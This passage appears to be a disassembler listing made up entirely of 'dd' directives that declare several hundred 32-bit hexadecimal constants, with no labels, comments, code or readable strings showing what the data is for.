		dd 5D0B29B0h, 1C40D130h, 45BF98A6h, 3855EB23h, 0A858E48Ah
		dd 0E66DCEABh, 511D01EEh, 0B753EAB5h, 26C16F42h, 0D13EA572h
		dd 8113EDF7h, 1856EE61h, 0B942115Eh, 0E95E0B05h, 0D6287626h
		dd 8227B9DDh, 0E014FEC7h, 2547DD94h, 88DD6AC1h,	590F0837h
		dd 0BC68E229h, 3AE54C17h, 90E32FAh, 4BF084E9h, 0BB5C9CFEh
		dd 0A2783113h, 42D3C404h, 0EFA5F3B8h, 0ED91E4E3h, 575A0F22h
		dd 31430581h, 499A0D30h, 0BE1B3177h, 0B21E0801h, 29417AE6h
		dd 2C7EE9F2h, 0F3349565h, 5A683F50h, 0DC3B36DBh, 8170AD07h
		dd 40620AC9h, 41A1C01Ah, 0EDA0558h, 454ED7E9h, 0ADBD686Dh
		dd 0D96A1A8Ch, 18FE5F1Ah, 0AA3C9AA8h, 0B05F5053h, 0EC5F3C40h
		dd 0C575554Eh, 96CD64F0h, 351F5132h, 0AB987EFDh, 1E840CAh
		dd 4C2FC177h, 0E6B357CFh, 4B6EFA05h, 94AB02DEh,	808126Ch
		dd 8C2FC3A2h, 1237DEFBh, 0B91CA2AEh, 5EF313F7h,	422429BFh
		dd 465D58B6h, 4966A7E4h, 835EE87Dh, 6465BC79h, 2495E558h
		dd 8A6F4B61h, 65A2C149h, 0A06F3A09h, 0A83DDCA8h, 4B2592CFh
		dd 0F001DE93h, 263B45CAh, 3A086168h, 8C286D17h,	7D404C66h
		dd 72E70781h, 6757785Dh, 6911D1F7h, 0FBA02A4Bh,	0B8327E67h
		dd 72210A4Fh, 2A24FD8h,	0DF71FB65h, 89F5815Dh, 0C07F5FF9h
		dd 0E871D49h, 35086399h, 3BF62D76h, 2285552Dh, 0FE8D125Fh
		dd 0AE688542h, 0E8974C2Ch
		dd 0C24A4F5Bh, 0BD52F5Ch, 0B5C64E39h, 36E91B22h, 0E7D2F4ABh
		dd 0F85A63F2h, 0F1805A64h, 5CA34554h, 6205D72Ch, 0EF670948h
		dd 22ECE784h, 0B6680513h, 0E8B73FCBh, 0EA01FA48h, 684E20F0h
		dd 3BE11A20h, 0B1DA213Fh, 281EE1A7h, 1568C2E2h,	1A4CC25h
		dd 69991245h, 36AEAAE9h, 0B815178Dh, 4FC5C8BAh,	8FF7D4F4h
		dd 40E0BB3Eh, 0D143389Bh, 90C172E3h, 0CEEB0562h, 0ABFF698Dh
		dd 4A9097B5h, 8CA05E56h, 190E122Fh, 4D09EE7Ch, 4577FE08h
		dd 0F3F2D555h, 7ABBC06Ah, 5D189659h, 0B0051353h, 0AB0A205Dh
		dd 0BA4D492Ch, 0EE1C902Bh, 0AF7F5BB5h, 0AED2244h, 0EB0531A9h
		dd 546125h, 2D48D047h, 0DA0014FAh, 3C7819Eh, 0B74B0175h
		dd 809A04Ah, 428071D9h,	0BFFD1F38h, 68550AD7h, 6FB46EADh
		dd 0B36FCA01h, 17363F58h, 1E32397Eh, 0A8096996h, 0C0873E63h
		dd 625E4E54h, 54589A93h, 80D4B93Fh, 68BA4EEAh, 13CBABE8h
		dd 16E9CA31h, 51D8450Bh, 5064EE71h, 92BEA3EBh, 0D33CE2BBh
		dd 477E8AC0h, 5B292705h, 4924E55Fh, 0ECD59722h,	519B115Fh
		dd 1EE0A32Ah, 8A97E8B5h, 0E30A815Ch, 2D3DBF80h,	3B84DFDCh
		dd 26ECEAEEh, 0BD4C88F4h, 36596709h, 0D6E71170h, 0BCAB84FFh
		dd 512DC059h, 9F7E8A61h, 782B570h, 2F7FDA7Fh, 3064694Dh
		dd 7B314894h, 6E798B5Bh, 0BD46805Bh, 8E7D417Bh,	9592BAF4h
		dd 3EB77B95h, 1874C118h, 0B12B7BAh, 0CF017331h,	561D599Ch
		dd 3E54E2D8h, 60CB7E70h, 93E9D7F1h, 73E579Eh, 37F1CEEh
		dd 16BE80A4h, 4565EFBEh, 0AC859AACh, 9471AAD0h,	0F27EF089h
		dd 5256E0D7h, 28A70768h, 25E91D03h, 0FA8DAA25h,	40548D6Ah
		dd 0CB3C1369h, 2A8A80A0h, 2852A095h, 95546934h,	0A5C4E60Fh
		dd 1775BEB8h, 492AAB9h,	0EF5B9C69h, 38C35144h, 60C699EEh
		dd 0C7886333h, 6D460275h, 55EF2910h, 7D0AE660h,	7627A927h
		dd 0D8B9404Bh, 67A8E05h, 0FEB5C6F2h, 59CDC299h,	62E3F157h
		dd 59757FAFh, 1A40E90Ah, 55813EC5h, 0FB245521h,	2D2B0968h
		dd 6CDF2CFBh, 4EDE251Dh, 0A25ACDD6h, 0FDDCA812h, 0CC68BF71h
		dd 0ABCCE98Bh, 6B0BFD97h, 85AFAFDDh, 24EA8C44h,	0A854846Bh
		dd 0B45E0086h, 0A7F38140h, 23BE376Dh, 6AC900Ch,	2ED631D5h
		dd 0C84B2FE8h, 0A34BE90Dh, 46DED1D1h, 12D3BC20h, 4B61CEBh
		dd 0A1FAE921h, 59F62E14h, 4221EA97h, 0E32A704Dh, 75C78994h
		dd 160950DBh, 0EC9C522Fh, 22592876h, 90AB5DE4h,	517CF526h
		dd 3F7A3832h, 2079FB2Ch, 21894926h, 5FFDD93h, 0B897ED7Eh
		dd 0B9B2108Ch, 7B55F2Eh, 90515204h, 3C9B381Ah, 58178790h
		dd 1DAC7413h, 0E20D9C05h, 0E71EC059h, 43F816A3h, 0EF0DA097h
		dd 1334CCF7h, 0B4F93126h, 75F36C4h, 32EF1D30h, 0AC624B49h
		dd 2801E250h, 717B01CAh, 0F6534F3Dh, 0C075646Ah, 5950E9A4h
		dd 0C12CE8AFh, 707C2830h, 0ED5C5160h, 5688D1DBh, 0C2FB29E8h
		dd 33396889h, 60A13257h, 24769228h, 8910046Ah, 57D0CBE9h
		dd 1F99FF95h, 4C13F4F1h, 789DE497h, 0E44FDD64h,	27C022Ch
		dd 0EAC1155Ah, 2D0D8078h, 1B2225A1h, 47312AE9h,	3A3598CBh
		dd 590404C8h, 82FCB151h, 277F3CF0h, 148292ADh, 7FEE232Ch
		dd 0F5619EF1h, 0AB982052h, 13564F40h, 0CC595E51h, 0CE723149h
		dd 0BA8BAEC4h, 6B84590Bh, 0DDF6002Fh, 2780EF86h, 58F8D7C7h
		dd 240F7897h, 0EB5F2DBFh, 5EB4D902h, 1E0416D2h,	0E1D12C95h
		dd 17564BB0h, 0E2BC26Eh, 0FA64F1C8h, 9284BB09h,	55CA8AAh
		dd 8623672h, 17FBFC2h, 7F59FA68h, 0B75BF5CCh, 58977F46h
		dd 94943B0h, 55EA4CE9h,	0A388857Bh, 86DF25C9h, 0B50981CBh
		dd 5D4B97FAh, 9C5CD8EEh, 794E7017h, 5973A900h, 0A05811E5h
		dd 1B7E801Ch, 2E016BA8h, 0C94CEC7h, 0DAE3E982h,	0CB02766h
		dd 0B96A8A0Bh, 0C8A87517h, 89DE2708h, 0CE806058h, 0EB4CCDD7h
		dd 0C2E111D8h, 2AE4E777h, 877E9F96h, 4A5FE958h,	0BB35206Dh
		dd 0A7247149h, 0CB00A077h, 9B9FE9Dh, 9D419DDAh,	0C1C9281Eh
		dd 643E7947h, 129F9320h, 1A3136Ah, 0E60FE9F9h, 88B07A60h
		dd 0BBF953AEh, 9185F7Eh, 0CDDD5E5Dh, 41403E47h,	4F3D2A5Ah
		dd 149ECA2Bh, 8493F568h, 21002C5Eh, 2D405FF8h, 0B1FF360Bh
		dd 439487FEh, 7ED9F509h, 1EA43581h, 0C0415A37h,	0D2E7B9Bh
		dd 7F499720h, 0DE160CBCh, 1967FE64h, 8F4471A4h,	80920B42h
		dd 5954F93Eh, 2C2EC7Ch,	6FE018D2h, 42C9EBE9h, 69926751h
		dd 53BF86CFh, 0FB6CEC21h, 0D5BF8704h, 0FB12D5A7h, 441104D9h
		dd 306A6DF7h, 5176E9C4h, 66AC12C0h, 0E97AA968h,	7F0B292Dh
		dd 8550E4E9h, 0DA39AF8Fh, 0D1E157A8h, 0C49D2E7Fh, 57DAA949h
		dd 475FDA89h, 45FA8975h, 59C8BA22h, 21974074h, 0FB4B04ACh
		dd 0E913ED8Eh, 0FFFC8503h, 1F795C61h, 31039D2Ah, 0E9BA6436h
		dd 79BD8125h, 6900CB64h, 106A6971h, 4A8EF497h, 8A722502h
		dd 0E069E92Dh, 719E3516h, 0B9625A74h, 73DE971Ch, 0C26DF25Eh
		dd 7D02685Eh, 0D9BB2A51h, 3466249Fh, 0C03F9D1Ah, 8237BA94h
		dd 4EF1007Dh, 7D198526h, 0C350E95Fh, 0BB21B968h, 6E2D0204h
		dd 0B242F68Ch, 903C707Dh, 274F5F9Fh, 34098E3Ch,	420DA7A2h
		dd 0DD98BCE6h, 9817884Fh, 995BCEB8h, 680F895Ah,	0E948E0DBh
		dd 92F1DE70h, 0FA35AF52h, 1258CBABh, 1399D8CEh,	937825E9h
		dd 3FCF8101h, 7F0A6674h, 2938AD01h, 0EC3A094Ch,	3E750304h
		dd 0FA4B0237h, 0B492C0DBh, 6FF40EE9h, 8CABDD01h, 285F71F8h
		dd 0FAC012ABh, 0A341A1DBh, 2F70C4F6h, 0C4D250B6h, 0A0AB8A20h
		dd 2C0FA20Dh, 5865DBh, 2F9F031Bh, 8A4F22E9h, 407ED9B3h
		dd 702A6867h, 229C7A0Ah, 35BF0413h, 8301ED7Bh, 185E6668h
		dd 0A735C191h, 0A424D1C2h, 0AE0B4379h, 66107576h, 6AD26163h
		dd 12E1E2FBh, 0B3A43319h, 7150BD07h, 0BD105720h, 0CC05548Fh
		dd 0F1E6FFD9h, 0B08E247Bh, 15E0C30Ch, 0E8306D12h, 0C53B2DFAh
		dd 93E77CC3h, 426BB9C7h, 0E908017Dh, 0FD7F32D0h, 0C4FE7837h
		dd 72EA7FC0h, 4A39296Ch, 5FF2CF59h, 0AC4C4CFEh,	8204BF49h
		dd 217D0A75h, 0D2090884h, 0B05CE49Fh, 47E30B9Fh, 0F5934065h
		dd 3314FA8h, 708B8AAh, 0BCFA2588h, 0A58FF19Fh, 22A7CA7Bh
		dd 9734A4h, 6AF3814Bh, 67B97A18h, 374E3B0Ch, 411B36CFh
		dd 7E2DA632h, 0C1C7FBA4h, 96091276h, 68DE426Ah,	8A20308Dh
		dd 0C007E926h, 0EB82554Bh, 0BE04E728h, 886095BAh, 5512CA3Eh
		dd 0F6AE0806h, 5E0C408Eh, 0BA7FE912h, 0EBF0DCECh, 0C62F59D5h
		dd 3B88DF1Eh, 0C2FD2E08h, 0F709A36Eh, 0F412FA20h, 12EBF39h
		dd 262889EAh, 4FF1922h,	55E7B4C3h, 954D824Fh, 859DBF00h
		dd 5B2C4CC5h, 0F6694101h, 21F92916h, 0E08043Eh,	4A504BE2h
		dd 9F0455EDh, 0BB11715Ch, 5B01342Ch, 0D6A8D156h, 8D83E75Ah
		dd 0F580124Ah, 0F9187833h, 0BF36463Bh, 0C604FB6Dh, 0CCB5D298h
		dd 94058D84h, 3FF9EB36h, 0A46FA8D7h, 0B589ECEAh, 3398190h
		dd 0C12A0BD7h, 833902EFh, 86CC3F4Ah, 0B11157B2h, 8CF60E13h
		dd 3CB7577Fh, 9D9C90B2h, 0F5E0709h, 0FD9251EAh,	1ED034A0h
		dd 39C680EEh, 810FCE9Dh, 51E96BF6h, 9ECC2918h, 0D547428Bh
		dd 0E3207064h, 5D541AFEh, 3A481056h, 725B9668h,	82020732h
		dd 0F9FA9922h, 0C1C90E3h, 78D61048h, 65235877h,	0FA649A84h
		dd 95B9889Ch, 0CB4EA698h, 32685880h, 7651945h, 0B9B75A78h
		dd 5D8E14AFh, 0C6EB1088h, 1C8BD6E2h, 0B054795Eh, 4FA1BC82h
		dd 0EB8E6705h, 0BB30E0B5h
		dd 4C14BF8Dh, 0A7092A92h, 5917DA30h, 80DCA030h,	4A1AE90Ch
		dd 0FD146106h, 920C6D74h, 686328ABh, 4684D74Fh,	0D3C8E2EFh
		dd 0CB9FEEB9h, 0D1F4786Ch, 1CDC5F52h, 856A5459h, 55B7AED8h
		dd 4BEC8A4Ah, 0EE258DBCh, 0BB481D50h, 30561250h, 0B975D504h
		dd 1743E2C8h, 0AE92A6D5h, 72DCE006h, 4D40761Ah,	0AF4F42F7h
		dd 0D1F0EE83h, 27242BD8h, 0BF1570FCh, 0DDE8F5F4h, 6B413BCh
		dd 0E9BC68AEh, 3CA8294Ah, 54CEEDD2h, 0A092827h,	5F49574Eh
		dd 0CA882390h, 2A2B6813h, 0D13EAFB3h, 0C559CF14h, 0E9FD0D77h
		dd 0D4DD38EFh, 9B271CAFh, 8B87E39h, 1F6F30D4h, 0D94FD793h
		dd 72F6EEF3h, 518D48A2h, 7EBCAF9Dh, 84AA478h, 3F473241h
		dd 0F9EA7E14h, 0E9084071h, 0FDF0722Dh, 791DBCA2h, 7EEC98D7h
		dd 2164829Ah, 0F9254727h, 0ACD292CEh, 4F345876h, 0C72D13F6h
		dd 0E973E2D2h, 0E49CCE5Ah, 0FE5F4AFDh, 5E89303Dh, 0F05D33B5h
		dd 30431C37h, 0E9EF82FDh, 0F1DFBD2Ch, 0CBA63CD2h, 8BBA9459h
		dd 67AEC4h, 723119BEh, 0E321B729h, 3C5D5E55h, 0C9907940h
		dd 958C804Bh, 0A4A24A6Bh, 91A10360h, 92D3458h, 0F41C5725h
		dd 0E9F77AB0h, 3C2A0238h, 5A4BD01Bh, 80CC1BF0h,	7B16C5BBh
		dd 0E44E4783h, 0D3F76687h, 6AE9F209h, 0A4C93FC8h, 0EF8D125Dh
		dd 1EAEBE56h, 5F2E95A5h, 91806812h, 9EF17696h, 0C4D65E1Ah
		dd 0D64FB9F4h, 3B8CEB53h, 5E877ECDh, 2A0F85Dh, 0C4D38A3Fh
		dd 0EE5BF589h, 2997402Dh, 2FE59A31h, 503AF5CEh,	48809063h
		dd 0E9980651h, 478C4B4Ah, 4C5F3D4Fh, 91F22117h,	226F43C1h
		dd 7D3E0455h, 0C5AE9E98h, 25E4FA36h, 0BE560408h, 0EF8647D4h
		dd 255FE311h, 8BE254F2h, 28B1DA6Dh, 56FE97Bh, 32F082FAh
		dd 2A5B1BE9h, 0B1A9E680h, 0F6566177h, 0F2616BDBh, 251CA5Fh
		dd 0CC575E08h, 0C06803BAh, 5D5F7851h, 2E6D6405h, 0CF041EBFh
		dd 39D80B08h, 314B5E56h, 6A808234h, 0A9D644F6h,	6BE584A0h
		dd 2A7041FAh, 704EF21Bh, 13953764h, 76A4BC74h, 2436FAC2h
		dd 0BF351C6Bh, 34306517h, 51C4C3D1h, 0A1A3BE84h, 87475F18h
		dd 49279DC2h, 2EFDEF2h,	0FB720EBBh, 0B0F8F05Fh,	0E2CD20C5h
		dd 32C1CDB2h, 6FAC27E8h, 7321EB2Ah, 0AE2E6399h,	12546F28h
		dd 1F55515Eh, 66AA0447h, 0A78DAE5Dh, 815CF003h,	0B42B3631h
		dd 8CAAA693h, 0E7EF90C0h, 44BC2A26h, 1335A08h, 0A97A9DBAh
		dd 78736027h, 23690808h, 0C4521331h, 0FF301036h, 0E409D94Fh
		dd 0A3BD2CB3h, 255917F7h, 0C67F9E08h, 941B971Eh, 0C1E90D0Ch
		dd 4AF3395Ah, 70DFB86Ch, 0C925C87Dh, 0B8CE7F6Fh, 2743C254h
		dd 37A69D5Eh, 193D810h,	6803E3C1h, 8C7B4869h, 2A4FEEB0h
		dd 0F7189DE3h, 575D1044h, 0D6373ECBh, 1A58BFBFh, 0C554712Dh
		dd 9148554Bh, 19CC72D8h, 682040F5h, 3C33226h, 0B94307C6h
		dd 0C2A4019Dh, 30421D5Ah, 490CA012h, 2A316562h,	0E2CE4F01h
		dd 0A7E4DE40h, 7F136203h, 280C4027h, 0FDE92459h, 58BF813Ch
		dd 40151B01h, 7112C0E7h, 4160E58h, 0A16A3E33h, 0E74714AFh
		dd 0F602A047h, 51781D58h, 0B851005Dh, 1276CB3Dh, 0BE01EA83h
		dd 675B6144h, 88EE52D3h, 4C6E756Fh, 0D12F9A46h,	0B0FE96DDh
		dd 4D58B234h, 0AA10A864h, 0AF512Bh, 523C186h, 2216755Ah
		dd 4FE0A5E1h, 26DD7D58h, 93C888E9h, 30FD095Fh, 184B1DFBh
		dd 3612A1Eh, 0E18147E2h, 42482FCDh, 6BC0041h, 25E978CFh
		dd 94D1B553h, 351C93ACh, 2631D725h, 2FB4064h, 0B9C34EE9h
		dd 850FD568h, 91F8FFEh,	14D536E9h, 0EF801751h, 0D8E6B98Ch
		dd 0E0EEB030h, 826CF1C7h, 0DFF60283h, 0F8813451h, 0F8003010h
		dd 0EC68665Bh, 5137E944h, 16C6067h, 0EA2AFE12h,	0E2FFE999h
		dd 9D0E58A4h, 97A27E65h, 6F4C3709h, 0BAE07711h,	0B32CCDF1h
		dd 0D20BDE90h, 201D5A18h, 5E011B0Bh, 0D02E4D0Dh, 3EF03510h
		dd 5A5074FEh, 0A702F820h, 0C7942AF4h, 5CA9E004h, 0C3B441FCh
		dd 264E35B3h, 343772EBh, 5E01F475h, 0D286532Ah,	31AEEA5Eh
		dd 59F1366h, 0C04878F8h, 78381A0Ch, 8718C2F0h, 0CA56837Ch
		dd 0ED0716C8h, 6624FE0Eh, 212C8901h, 0C22A40BFh, 57F445CEh
		dd 0C2745927h, 5900CBA9h, 3FACF281h, 0D1921748h, 21A407EAh
		dd 0AB223428h, 0D0375497h, 0ED0B0253h, 0E8AE22FAh, 0C0123CD0h
		dd 50203E7h, 0F5896830h, 0D057A21Ah, 0CFE650B7h, 0AD6A40E0h
		dd 0A4BE7CB5h, 82D21D03h, 0FB89E1DDh, 2B5F1342h, 7AECD5A6h
		dd 7BB96800h, 0FE92A48h, 0DDE1C133h, 1028EF05h,	4B8B5A08h
		dd 47CABA3Ch, 25D5AC4Fh, 0C309878Eh, 7D29B562h,	0B8AA7345h
		dd 5417362Dh, 485F50AFh, 0B60D4082h, 46892794h,	0BF13845Dh
		dd 680469B8h, 0C48E3058h, 0D5F2AE48h, 0E7469180h, 0A2BA2110h
		dd 0E1E3CC20h, 0B4A4466Bh, 0F6057D05h, 6251E490h, 0F092C5EBh
		dd 73A40812h, 9BF43FF7h, 0CC014EE3h, 664D4FB3h,	5B5A094Eh
		dd 0FFE88955h, 6C310E40h, 90167F95h, 0E97867B4h, 0E35F60B2h
		dd 568753BBh, 5E455D25h, 1EBC8747h, 5855E291h, 18C1EC75h
		dd 3A227BE9h, 6627F820h, 0FFAF5D5Bh, 9162B6C4h,	6A59CB52h
		dd 0B21399B6h, 0BF1B5252h, 0A5C25500h, 0FC600A02h, 0EA6B4AE4h
		dd 502B8CBh, 0D686AFEh,	720FE76h, 3CE95112h, 8DF7EEh, 113293BDh
		dd 3FFDB96Dh, 12C0AFCh,	0EE311478h, 81BC004Eh, 36A408F7h
		dd 91AA444Eh, 0EF1482DFh, 3C7EE9E9h, 0D52C1DF4h, 2C4924D3h
		dd 2C2ED505h, 3656AAB3h, 210B1E0h, 0E2814697h, 2D430267h
		dd 45050C7Ah, 524A18F2h, 0F4AD50C2h, 0D4644930h, 3D258EB0h
		dd 0C06E792Dh, 0AC6823BBh, 7CF3F8E5h, 5515F3Eh,	0E906EBC1h
		dd 0E324A4FAh, 82A1659Fh, 7B628C4h, 4C2D7D4Eh, 12CCE42Ah
		dd 0AF7EF568h, 0B2272969h, 0D5DC2Ah, 140E4E68h,	0B8505B36h
		dd 200B930Bh, 6A82F528h, 0ADE1DF89h, 9D466F63h,	0EC124CF2h
		dd 0B6779DFFh, 8966658Eh, 69428352h, 768499C7h,	6FA0E1BCh
		dd 9895F379h, 0BD01671Eh, 45602F08h, 3EF82B29h,	2040E54Ah
		dd 4312A792h, 0B117163Ah, 1A565ACh, 0F32E7EB3h,	13802244h
		dd 0F052404Eh, 2D05B4F8h, 8326DA1Bh, 33A56F3Bh,	5AC852DEh
		dd 0A60EF56h, 0EE5BE08h, 370C4835h, 0CAF11C04h,	9F05EAF3h
		dd 0E0AC2065h, 84B512D6h, 3862E80Eh, 9CBF4A74h,	0FE9F44F6h
		dd 0B95C4926h, 29809221h, 219105F0h, 0FA5E4B2Ah, 174B62CDh
		dd 48D16802h, 496C427Eh, 7DDBE931h, 0C03E6CB1h,	0F780A744h
		dd 0D720A327h, 0FFC197C0h, 0D9F607C1h, 0E84C9FEh, 0C2CC205Ch
		dd 36F6FAA8h, 0A1990117h, 0F17FE87Bh, 0C74A4EEDh, 4DD1011Fh
		dd 211AF217h, 0A5DD2C3Ch, 4B5FF1F4h, 5ECCBF6Ah,	27BB9314h
		dd 0BA007954h, 12DBE07h, 0F814A4D7h, 320B02E5h,	679DE974h
		dd 0B660185Fh, 0C78FC90Eh, 16F81000h, 0EABD60FEh, 28407509h
		dd 0FCB03DA2h, 0D58B42BFh, 0BF683EB0h, 2C39274Fh, 0B25B93Ah
		dd 0D43464E9h, 370F40D4h, 16FD016Dh, 0AF1CD311h, 205901D7h
		dd 34AE0C92h, 0A8805F92h, 0B2520016h, 0E9D328F3h, 16465B6Dh
		dd 1B3FD898h, 1827F55Ah, 0BAD2173Ch, 16BD05C5h,	8487941h
		dd 81015CE7h, 0BB4295EEh, 0E0DAA331h, 80561ACDh, 28120EBEh
		dd 65137FAFh, 6F8EC058h, 26DD7A88h, 0BB0E3803h,	3494441Ah
		dd 5E63EBD4h, 7491EA23h, 0D462F45h, 445377FCh, 9407789Fh
		dd 0E93CCB48h, 0FE96195h, 3ECA0E00h, 175E2D07h,	70650225h
		dd 740782F4h, 98C525B4h, 46A1B78Ch, 0D5FD5B88h,	3B81AE6Eh
		dd 0B900236Ch
		dd 3224D97Ah, 262A4A97h, 3478769Fh, 84B0FB0Ch, 0C30169E9h
		dd 0BE4C7957h, 80419C14h, 4F6AD84h, 5C2FA08h, 0D959F7FDh
		dd 904DD2Dh, 8FF8885Ah,	52D84C17h, 0E98D9517h, 57E90C00h
		dd 0D4A9C01Ah, 4921EC40h, 0C6E18103h, 2043CD2Fh, 3FED4A74h
		dd 124B1A88h, 84D7ABDAh, 3EE9AA5Dh, 5A190204h, 0D9C092B0h
		dd 63C9FFEAh, 2FF6831h,	26FFA7C5h, 0A87E5FEFh, 0A8F312BAh
		dd 4B68E328h, 8030BA6Eh, 12652937h, 8219E966h, 10625DCEh
		dd 0CB06F37Dh, 256EC457h, 0D72B0689h, 4823E27Dh, 0BF26D0ADh
		dd 4F42E55Ch, 2B47D72Fh, 7E00E626h, 0F7558521h,	0BEF98D2h
		dd 23885D8Bh, 0C253A075h, 4835FC29h, 0A24507E4h, 0FC23752Eh
		dd 0E828B059h, 0C97B9B66h, 2797FA55h, 8F7C5B4Eh, 14D4BA50h
		dd 0AC301811h, 908A8420h, 3D8C4340h, 0C140E601h, 0EEE907E5h
		dd 0B95E1F64h, 2850C12Ah, 8BC3003Eh, 99D02F40h,	34CB26D0h
		dd 7EED0335h, 7C85D26Bh, 0ADDE2F3Ch, 8A2F5A71h,	0DEF04EE2h
		dd 9322BDEAh, 0F1F57DB5h, 0A6C56FC5h, 45F3FFEFh, 0ABBBE9C4h
		dd 0DEBD4E16h, 0E29689A4h, 9A3A4C5Eh, 5C0A23AFh, 61ED5824h
		dd 7B0C695h, 7B36B3C1h,	0A2DA1E01h, 87A9080Eh, 9E6803A6h
		dd 9D2A1E9Dh, 98684A30h, 94F83B4Fh, 0A506BFB5h,	5A9D5B9Eh
		dd 7BCFBDEFh, 5E5E9627h, 0A2597217h, 991E8460h,	0E03CF110h
		dd 7EEC1B0h, 0E962F9B5h, 512214DFh, 9F2FC5Ch, 9001FDCh
		dd 8A055FF8h, 0D4CE2EE6h, 983616DBh, 87407273h,	0BCB09BAh
		dd 8D000EFCh, 3FD31BEAh, 4E4F3F90h, 7295E491h, 64D55802h
		dd 16749D12h, 0C3D851D1h, 71F39DF2h, 502F842h, 429E0855h
		dd 44D6310Eh, 0D2E156F2h, 9A0BE046h, 0E95709DCh, 3AD55D2Fh
		dd 5E268087h, 0B008E644h, 82AE98BFh, 0DB9A5508h, 54482C8Bh
		dd 0DC0430F7h, 79C16821h, 168365D8h, 9F553C3h, 2745379Ch
		dd 6BFDD6A5h, 0DB25EEBh, 4F1F1E5Dh, 0CC2DEA56h,	3C7AD335h
		dd 0C74BE9E6h, 5BCBD312h, 8034BC05h, 698AA46h, 4A325DCAh
		dd 0C41B4F80h, 0A673BE4Eh, 810018E4h, 15528DF6h, 4A5AE916h
		dd 426A361h, 0AA68F1F7h, 4B8BF9BEh, 5FD868BBh, 9027779Dh
		dd 13B302B4h, 70768B5Dh, 5AC37535h, 674FAA58h, 8ECBE023h
		dd 2DC1B151h, 0F5C169E9h, 773120ACh, 5A9B6880h,	832BE21Ch
		dd 335388E9h, 0A05CC379h, 2F31DDD1h, 0C52FB0C9h, 0FF4C84F0h
		dd 7725755Dh, 0C0F69D0Fh, 0D716899h, 0AAE4679Dh, 8270B01h
		dd 0D61048F7h, 642575DCh, 80BFEE2Eh, 5FB2E90Ch,	71AC910Ch
		dd 0C474D2B3h, 125A03Bh, 4305D0F7h, 312CACF5h, 0CA453F37h
		dd 0F34086E9h, 0EA11C505h, 50D8E229h, 4A5B072Dh, 8767FC52h
		dd 3572C389h, 24447154h, 27D608D1h, 1266804h, 0F25536CCh
		dd 0CB7D04C9h, 85455D28h, 3BC3899Ch, 0F5811EC0h, 606074D9h
		dd 1D160C61h, 5FBC494Ah, 70AA4B3Eh, 0D48850FEh,	0E913E3E4h
		dd 0F7E85840h, 0AD71EBD2h, 180420CAh, 0CC350481h, 78B22112h
		dd 0ED7F3FF1h, 5C95EAh,	716E09B8h, 99B633E9h, 0C17A4F7h
		dd 9CEBFD9Bh, 621774BFh, 0ABFF308Dh, 9F5370DEh,	0FBBC034Ch
		dd 0D1958098h, 9E890E1h, 11BC638Ah, 0EC4655h, 565758C5h
		dd 0CB3CFB68h, 0C4F0385Fh, 0A7A2A006h, 0EC945B2Fh, 510800C3h
		dd 0B8E967EBh, 9D20950Ah, 1F0E7B27h, 92504E3Eh,	4A40327Dh
		dd 0A2A409F7h, 92E8F644h, 0EB5E4E60h, 9E65927h,	59542E16h
		dd 90C0278Bh, 0F8B75BB1h, 0B7E7E625h, 0B753F330h, 0EF800A09h
		dd 3224DC17h, 0E0579D12h, 7486D779h, 8D461E7h, 0EDFA8852h
		dd 27FD2D2h, 13DDA0Ch, 736EF568h, 0E3B55E32h, 50A18201h
		dd 58F35FC2h, 0CF0BE904h, 0BFCA3BBh, 0E2575150h, 31585D77h
		dd 6B82E917h, 8F48FA8Eh, 0D765A005h, 649C011Eh,	3EE1289Ah
		dd 0BD8C49EBh, 0EBE9FAAFh, 2020C3F5h, 0E4C02916h, 3053C780h
		dd 4EC6B0F9h, 0F7C8FF62h, 0E46AE368h, 336BFC49h, 931CFDC7h
		dd 0AFAE659Fh, 5AFF7D68h, 5B975CF6h, 0CE91596h,	844EE25Bh
		dd 5E028765h, 28D0DAF7h, 7E223912h, 0A3181C03h,	93E999C5h
		dd 5764067Bh, 337EF255h, 777226B4h, 0A2CADC7h, 4894E9C2h
		dd 3AF4052Bh, 2D03EB7Bh, 1CDF1639h, 99743ED0h, 43BC224Ah
		dd 8AF20741h, 1C208911h, 2C88BB5h, 5DF02001h, 65CF5BD4h
		dd 0FF4163E4h, 19460C38h, 0FA4D812Eh, 0A3B5A84Ch, 0AB4FB905h
		dd 0E3A120D5h, 7CF92841h, 0B84B04D5h, 31E60576h, 0C55B830Ch
		dd 20B81485h, 3343094Ah, 0E0C22ADCh, 2D797175h,	0E9E19AD9h
		dd 0D569359Ah, 4C198210h, 9BF04A23h, 0D0D86928h, 0BF13500Eh
		dd 52C088F2h, 0EE8045B6h, 0E605EB73h, 6C73E938h, 0E0C8B5BFh
		dd 0A2BD8898h, 5D66F75Ch, 27CC14A8h, 6AF67550h,	0D03CB827h
		dd 382810C8h, 8A90358h,	15078A6h, 0E651D1Eh, 2A9B1EE9h
		dd 9FF2118Ch, 735C3241h, 0F8688234h, 809CD14Fh,	209D302Fh
		dd 7AFCE581h, 0D17E072Fh, 0F1A40B28h, 2EC0042Bh, 701E4FEBh
		dd 0D3530677h, 1644408h, 0F05DF8BEh, 5E9AF348h,	4705B4C1h
		dd 9CFFD90Ah, 43D98AFh,	4E064BB6h, 76C0BF5Dh, 0B76CE945h
		dd 0C9845C89h, 0E61EBFD9h, 0A54B85CAh, 0B6F0FA92h, 8D1D4EBBh
		dd 0D9FF7045h, 5366B1A8h, 24624E5h, 284EF3F8h, 74A24BFh
		dd 53D68A4h, 0D83E9209h, 0B9A0C3CBh, 0E9193941h, 0E235FEADh
		dd 0B1DB0B20h, 0CE25BDAAh, 590056DCh, 2E9DE31h,	68C382E4h
		dd 3E297210h, 74C26809h, 76881F51h, 0EF9F28FBh,	923EA7EDh
		dd 0CB5FC352h, 0B4EBE108h, 543E292Fh, 0C13FA2F8h, 56E9CD01h
		dd 7D1CF7C6h, 7E853FA1h, 32A47567h, 0BFBAD7A0h,	0D013AED9h
		dd 72E97E2Ch, 5029BF9Dh, 0D2F95982h, 0F850F709h, 432B5838h
		dd 231CDD13h, 3212D66Eh, 989C46B8h, 0C8312D5Bh,	6858777Eh
		dd 7D12626Ah, 0FE03E1BCh, 922EB9C9h, 0B4DB8B97h, 10B72CA3h
		dd 9A9095FDh, 0AD65B13Bh, 0E95D4A20h, 0A99F487Fh, 0BBCF54A4h
		dd 0DB5AC225h, 0AFD0DC95h, 0EB740055h, 16457F27h, 1D30131h
		dd 8407049h, 0F2DCA74Ah, 1CFC0BAAh, 23DF1E3Ah, 2555A70h
		dd 6AE7E5F1h, 3C40502Eh, 771303C2h, 7F002124h, 37D2B951h
		dd 0E8255E42h, 41FF4ED1h, 42BE9DDh, 0E5803E57h,	2F079492h
